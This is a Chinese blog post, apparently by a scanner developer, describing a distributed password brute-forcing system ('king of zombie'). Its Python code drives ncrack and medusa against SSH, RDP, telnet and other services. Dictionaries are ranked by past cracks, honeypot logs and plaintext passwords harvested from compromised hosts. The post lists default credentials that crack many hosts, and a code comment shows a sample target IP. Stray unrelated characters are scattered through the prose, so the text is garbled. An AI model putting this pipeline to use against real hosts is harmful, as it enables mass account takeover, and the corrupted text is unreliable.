前言
在研發(fā)漏洞掃描器的弱口令破解模塊時(shí),發(fā)現(xiàn)傳統(tǒng)的通過字典遍歷用戶名密碼的算法效率過低胡本,當(dāng)需要大批量高速爆破時(shí)牌柄,難以滿足此類需求,因此需要引入新的算法打瘪,本文以一個(gè)分布式掃描器的爆破模塊為例友鼻,演示如何進(jìn)行高效快速的分布式爆破。
傳統(tǒng)方法
傳統(tǒng)的密碼窮舉
效率非常低闺骚,而且還有可能觸發(fā)報(bào)警
king of zombie
koz (king of zombie) 算法,即首先按照多種算法對(duì)用戶名密碼字典組合進(jìn)行評(píng)分,然后用評(píng)分最高的組合去淘汰僵尸主機(jī)彩扔。
流程
- 上游push ncrack任務(wù)到隊(duì)列
- koz 節(jié)點(diǎn)開始瓜分隊(duì)列任務(wù),保存為任務(wù)列表 (根據(jù)cpu,網(wǎng)速來分配多少任務(wù)) 。
- 使用賬號(hào)密碼字典爆破來遍歷任務(wù)列表,hit中 即從列表中淘汰(字典按評(píng)分優(yōu)先級(jí)排序)僻爽。
- 說明
字典評(píng)分按照爆破成功記錄次數(shù)和蜜罐記錄次數(shù)來計(jì)算,master 端實(shí)時(shí)更新,koz node 每日定時(shí)更新虫碉。
淘汰機(jī)制具體為先去除一大部分普遍存在的弱口令,例如某一批次中,第一次使用 ubnt/ubnt 來爆破ssh服務(wù),就能淘汰 15% 的任務(wù),第二次使用 root/123456 能淘汰 3% 。
表結(jié)構(gòu)
pw_koz_level
列 | 類型 | 注釋 |
---|---|---|
id | int(11) | 自動(dòng)增量 |
username | varchar(255) | 用戶名 |
password | varchar(255) | 密碼 |
type | varchar(255) | 類型 |
score | int(11) | 評(píng)分 |
更新算法
目前數(shù)據(jù)來源有四個(gè)
第一個(gè) 掃描器爆破成功記錄 score 值為 10
第二個(gè) 蜜罐記錄 score 值 為 1
第三個(gè) 滲透進(jìn)去提取到的有效密碼(例如windows 明文) ,score 10
第四個(gè) 收集的各種工具掃描字典 score 值為 1
掃描的時(shí)候工具score 值來排序,命中一次之后+10
例如如下字典列表
master
推送任務(wù)之后使用無狀態(tài)掃描工具掃描服務(wù)和指紋識(shí)別
koz node
KozTask 類來保存本地任務(wù)隊(duì)列,接收處的代碼為
def pop_member(self):
while self.len() > 0:
str_member=self.pop()
koz_member=ast.literal_eval(str_member)
self.list_member[str(koz_member['name'])].append(koz_member)
util.log("pop koz_member done count:%d" % (self.count()),2,'koztask')
本地隊(duì)列處理完畢之后,開始foreach 循環(huán)用戶名密碼組合(根據(jù)score 大小優(yōu)先級(jí))
koz_levels=get_koz_level()
for koz_level in koz_levels :
koz_queue.queue.clear()
#member={'name': 'ssh', 'task_id': 1124, 'url': '', 'host': '168.167.45.250', 'version': '', 'type': 'service', 'port': 22}
#ncrack.scan(member,koz_level)
#break
try :
for member in koz_task.list_member[koz_level['type']] :
koz_queue.put({'member':member,'level':koz_level})
work_manager = WorkManager(koz_queue, config.koz_thread) # thread
work_manager.wait_allcomplete()
except Exception, e:
util.log("error info:"+str(e),3,'koz_node')
util.log('koz_member len:%d' % (koz_task.count()),1,'koz_node')
當(dāng)掃描出來結(jié)果時(shí),直接把它從 koz_member 隊(duì)列里面remove 掉,如此循環(huán)往復(fù),直到跑完所有的密碼胸梆。
remove
def run(self):
while 1:
if self.work_queue.empty() == True:
break
task = self.work_queue.get(block=False)
if ncrack.scan(task['member'],task['level']) != False :
koz_type=task['member']['name']
koz_task.list_member[koz_type].remove(task['member'])
爆破算法
負(fù)責(zé)爆破的為ncrack 模塊,調(diào)用的爆破工具有 medusa,ncrack敦捧。
部分實(shí)現(xiàn)
def scan(target,level):
if target['name'] == 'ms-wbt-server' or target['name'] == 'telnet' :
str_command = "ncrack --user %s --pass %s %s:%d " % (level['username'],level['password'],target['host'],target['port'])
str_ret=str(sys_exec(['ncrack', '--user',level['username'], '--pass', level['password'], target['host']+':'+ str(target['port'])]))
else :
str_command = "medusa -u %s -p %s -h %s -n %d -M %s" % (level['username'], level['password'], target['host'], target['port'], target['name'])
str_ret=str(sys_exec(['medusa','-u',level['username'],'-p',level['password'],'-h',target['host'],'-n',str(target['port']),'-M',target['name']]))
util.log(str_command, 2, 'ncrack')
#need change
if 'ACCOUNT FOUND' in str_ret or 'credentials' in str_ret:
str_data='[%s] %s %s:%s' % (target['name'],target['host'],level['username'],level['password'])
util.log('ncrack taskid:%d target:%s service:%s succeed' % (target['task_id'], target['host'], target['name']), 1, 'ncrack')
return report(target,str_data)
else :
return False
爆破結(jié)果
總覽
[圖片上傳失敗...(image-5f2cbd-1532176841772)]
圖文分析
部分結(jié)果一覽